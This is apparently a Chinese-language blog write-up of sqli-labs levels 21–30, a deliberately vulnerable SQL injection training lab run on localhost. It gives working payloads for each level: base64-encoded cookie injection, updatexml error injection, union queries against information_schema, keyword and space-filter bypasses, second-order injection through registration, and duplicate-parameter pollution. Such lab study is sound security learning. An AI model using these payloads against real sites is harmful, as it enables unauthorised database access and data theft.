sqli-labs-Less-21-Less-30

  • Less-21

输入admin 1成功登录后显示http信息
根据提示对Cookie进行注入,输入都无果,看到YWRtaW4=并不是我们输入的admin,但是发现后面后有=,为base64编码特征,解码后发现为admin,
思路:输入1'进行编码,MSc= 出现错误
MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1
闭合为')采用报错注入
MScpIG9yIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLGRhdGFiYXNlKCkpLDEpLS0gLQ==
base64编码地址:https://c.runoob.com/front-end/693/
  • Less-22

与上一题一样,采用base64编码
输入1"即MSI=报错
MySQL server version for the right syntax to use near '"1"" LIMIT 0,1' at line 1
闭合为",采用报错注入
MSIgb3IgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsZGF0YWJhc2UoKSksMSktLSAt
  • Less-23

这一关又回到了get请求
输入?id=1'报错
MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
闭合为 ' 但是将前面的单引号闭合之后,后面的单引号注释不掉,输入注释符显示
MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1
这里猜测注释符被过滤掉了,查看源码也验证了这一点
order by也不能使用了,所以只能用-1 union select 1,2,3 or '1'='1不断加数字来获得显示位,为3是成功显示
在显示位2可以进行查询
?id=-1'  union select 1,database(),3 or '1'='1

这里也可以使用报错注入
?id=1' or updatexml(1,concat(0x7e,database()),1) or '1'='1
  •  Less-24

 

这个页面有登录、注册、修改
登陆界面使用'")都不报错
注册界面使用admin’-- -成功注册
登录的时候使用admin'-- -成功登录成功
查看数据库发现成功将脏数据写入
修改密码的时候不是刚刚注册的密码,而是admin的密码

查看源码后发现,登录和注册都使用mysql_real_escape_string函数,
其对于特殊字符进行转义。这里我们利用的是注册页面,因为虽然存在函数
对特殊字符进行转义,但只是在调用sql语句时候进行转义,当注册成功后
账户密码存在到数据库的时候是没有转义的,以原本数据存入数据库的。
当我们修改密码的时候,对于账户名是没有进行过滤的。
$username=  mysql_escape_string($_POST['username']) ;
$pass= mysql_escape_string($_POST['password']);
  • Less-25

输入id=1
页面提示AllYour'or' and 'And' belong to us
可能or和and被过滤
输入1'
报错: MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
闭合为'
使用联合注入
?id=-1' union select 1,2,database()-- -
成功得出数据库,对于使用and 1=1的习惯可以使用-1来让条件报错
  • Less-26

根据提示可能过滤掉了空格、逻辑运算符、注释符。在
输入1'
报错:MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
闭合为'
这里需要将单引号进行闭合,双写绕过逻辑运算符或者使用&&和||替换。
对于绕过空格限制有大把的方式对于空格,有较多的方法:%09 TAB键(水平)、
%0a 新建一行、%0c 新的一页、%0d return功能、%0b TAB键(垂直)、%a0 空格,
因为报错注入空格使用较少,所以采用报错注入
?id=1'||(updatexml(1,concat(0x7e,database()),1))||'0


Less-26a
闭合'),不显示报错信息,不能使用报错注入,使用联合注入和盲注
  • Less-27

这一关过滤了union和select,我们采用大小写或者重写绕过
输入1'
报错
MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
闭合为'

?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(table_name))from(information_schema.tables)where(table_schema='security'))),1))or'

Less-27a
闭合",不显示报错信息,不能使用报错注入,使用联合注入和盲注
  • Less-28

源码:
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);                //strip out /*
$id= preg_replace('/[--]/',"", $id);                //Strip out --.
$id= preg_replace('/[#]/',"", $id);                    //Strip out #.
$id= preg_replace('/[ +]/',"", $id);                //Strip out spaces.
//$id= preg_replace('/select/m',"", $id);                    //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);                //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);        //Strip out UNION & SELECT.
return $id;
}
\s表示空格,+表示匹配一次或多次,/i表示不区分大小写,所以整体表示匹配
union加一个或多个空格加select,其中union和select不区分大小。采用重写绕过:
?id=0')uni union%0Aselecton%0Aselect%0A1,2,group_concat(table_name)from%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'and ('1
其中%0A为新建一行,也可换为%0c等其他符号

这一关我不太懂找闭合的方式
http://127.0.0.1/sql1/Less-28/?id=1' #回显错误,表示闭合含有'
http://127.0.0.1/sql1/Less-28/?id=1');%00 #正常显示

Less-a
该关卡只过滤union+select。其他没有过滤。
  • Less-29

输入1'
报错MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1,闭合为'
且回显
Hint: The Query String you input is: id=1%27
被转义
使用联合注入可以爆出数据库
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- -
但是查看源码后发现这道题考的是对输入的参数进行校验是否为数字,但是在对
参数值进行校验之前的提取时候只提取了第一个id值,如果我们有两个id参数第
一个id参数正常数字,第二个id参数进行sql注入。sql语句在接受相同参数时接
受的是后面的参数值。
?id=1&id=-2' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
  • Less-30

与29关不同的是,这关闭合为"
?id=1&id=-2" union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- -
同样前面也可以只写一个id=-1"

 

posted @ 2023-03-27 21:45  Bin_Go  阅读(27)  评论(0编辑  收藏  举报